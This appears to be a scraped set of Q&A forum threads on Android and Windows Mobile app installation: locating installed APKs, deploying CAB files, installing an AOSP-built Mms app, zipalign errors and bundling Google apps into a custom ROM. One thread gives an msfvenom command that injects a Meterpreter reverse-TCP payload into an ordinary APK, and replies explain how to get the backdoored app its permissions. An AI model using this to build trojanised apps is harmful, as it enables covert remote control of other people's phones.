I wanted to send the file to a friend via Bluetooth tonight but could not seem to find the apk file on the phone file system, but the icon was installed and in my apps?
Any help would be appreciated. Cheers
You do not have access to the install APK files. The APK is available on the desktop under the Objects folder.
If you install an application, the APK file is stored in teh /data/app folder on your system.
You'll need root access to get the apk from there and an file explorer program like root explorer to get there.
You can download an app like app backup and restore to backup this particular application. Download link from play store, https://play.google.com/store/apps/details?id=mobi.infolife.appbackup
Next u can go to backup, select the app and send, or goto the folders and you will see a folder nameed app backup and restore, from there you can copy to pc or still share to anybody

I'm trying to trying to inject an apk with msfvenom payload, and thus get a backdoor on my android device upon installing it. Why isn't it asking for permissions upon installation?
In the past I've been able to successfully create a standalone payload and get a backdoor tunnel to my device.
msfvenom -p android/meterpreter/reverse_tcp -x /Users/root/Downloads/newApp.apk LHOST=[IP] LPORT=[port] -o /Users/root/Desktop/android.apk
I expected the app to ask for all the permissions specified in manifest file, but it isn't asking for any during installation or at runtime.
I had the same problem, but I have found a fix for it.
create apk file injected with payload.
install it on your phone.
install APK Editor pro v1.9.7.
open the apk editor and search for the injected apk click on it and click on COMMON EDIT.
change Minimum SDK version to 10 and Target SDK Version to 17.
I have already checked it and it's working
You need to specify what permissions the Main.apk has in your device..did you check those?If it has not asked for permission chances are it has no permission.
I have found some problems in the payload generation, but I have also found a solution.
1.- Inject the payload in the original application.
2.- Install the apk file on an android device.
3.- Go to application settings and search for the infected application.
4.- Grant all permissions.
And that's it, this worked for me.
A client has asked us to "revive" an old Windows Mobile application that is used by their receiving department.
At some point they wrote a custom Windows Mobile 6 app for Windows CE devices (a Motorola MC55A to be specific).
They have a project in place to replace this app - but it won't happen for a bit and they want to install the custom app on some newly refurbished devices they found as an interim solution.
I found the source code for the application. It even contains an installer project that generates the CAB files.
What I do not know how to do is get the compiled app and installer onto the device.
I am using one of their legacy computers to build the app and connect to the device. The computer has Windows Mobile Center installed and when I see the device connected - I the ability to add / remove programs on the device.
Not sure if this is the route I should be going. Ideally I want to put the installer behind a web page and just have each device download the installer to install the app.
This stuff is pretty dated - I am having a hard time on the specifics of deployment.
You can put the CAB file on the device and launch it manually using the file explorer on the device to install the files.
Some industrial devices like Honeywell, Intermec, Motorola, Symbol, Zebra and others support the auto install of cab files, if the files are put in a special folder on the device. For former Intermec Honeywell devices, this folder is called \Flash File Store\CabFiles. If a cab file is placed in this folder, it will be installed on the next reboot.
You may also put a link to the CAB file on a web site and open that web site within the Internet Explorer on the device. The device will ask for the installation, when the file link is tapped. Please note that some web server like IIS by default block CAB files from being loaded! If so, you need to configure the web server to allow cab file downloading.
Many months later, but I wanted to answer this for future reference, when you DEPLOY Solution, Visual Studio (2008 was the last one supporting windows mobile apps) will ask you for a target device or emulator, here you can select the device and it will be installed, there will be no entry in add/remove programs on the device unless you install it via an installation CAB. You must create an "Smart Device Cab Project" and configure it for your solution.
I have build MMS app from AOSP (Build no: LMY48M) using the following command
make -j8 Mms
The command produces a Mms.apk file, that I would like to install in my Nexus 5 phone. The phone is rooted and has Android Build number LMY48M installed.
The phone should contain a Mms app installed with the same app Id of my Mms.apk file. I wanted to remove the installed Mms app from the phone as I have root permission. I do not find any Mms application whatsoever. SMS functionality is being provided by Hangouts app.
Moreover, when I tried to install the generated Mms.apk file, it shows permission screen with the install button. Tapping on install button starts the installation process but stops in few seconds with error "App not installed."
Any suggestion is appreciated. Thank you.
You should try copy paste the apk into system->app instead of installing
You should install the apk using the adb install command:
adb install -r Mms.apk
This should install the latest apk and will perform an update of the previous version of the Mms.apk if it is already present.
The tricky part here is if it is already present the new apk must be signed with the same cert as the existing one. I'm not sure if those are public certs or not but it's worth a try.
lunch aosp_arm-eng command is for emulator and won't work for device build, rather use specific command for the device. For Nexus 5 you need to use command lunch aosp_hammerhead-userdebug (Ref: https://source.android.com/source/running.html#selecting-device-build)
P.S you should download the same branch as of your device build number. For instance, my Nexus 5 device has build number LMY48M, so I should download branch android-5.1.1_r14. For more information, https://source.android.com/source/build-numbers.html
Now you can install the Mms.apk file just tapping on it from device. You do not need to uninstall/remove Hangouts.
The Mms application has been replaced in Lillipop by Hangouts app. If you would like to install the Mms app as an internal app then you need to make the following folder structure in your rooted device,
system/priv-app/Mms/Mms.apk
and restart the device.
I've created a web-browser using construct 2 application and once i have finished it and had an executable .apk file, i tried to upload it to google play but it always gives me this error, "You uploaded an APK that is not zip aligned. You will need to run a zip align tool on your APK and upload it again."
Could someone tell me how to fix this?
PS: i also have bought eclipse software.
thanks
I am really new to rom development, however i managed to build a custom rom for galaxy nexus. I obviously dont have gapps.
I am wondering how can i incorporate gapps in the build without having to flash a .zip file?
The apps are not open source and they are prebuilt apk.
Find the APK files for the Google apps that you would like to include. Copy each one under the directory /system/app/ and chmod 644 (change permissions to rwrr). Recompile your ROM and flash it as you'd like.
goto https://github.com/opengapps and in opengapps repo follow the instruction.. there will be a common makefile to initiate the build then you have to add its path to your romname_device.mk
You can use micro g project for using google services in custom ROMs. For example in Replicant ROM microg is used. Micro g has multiple tools such as location services , appstore and etc.
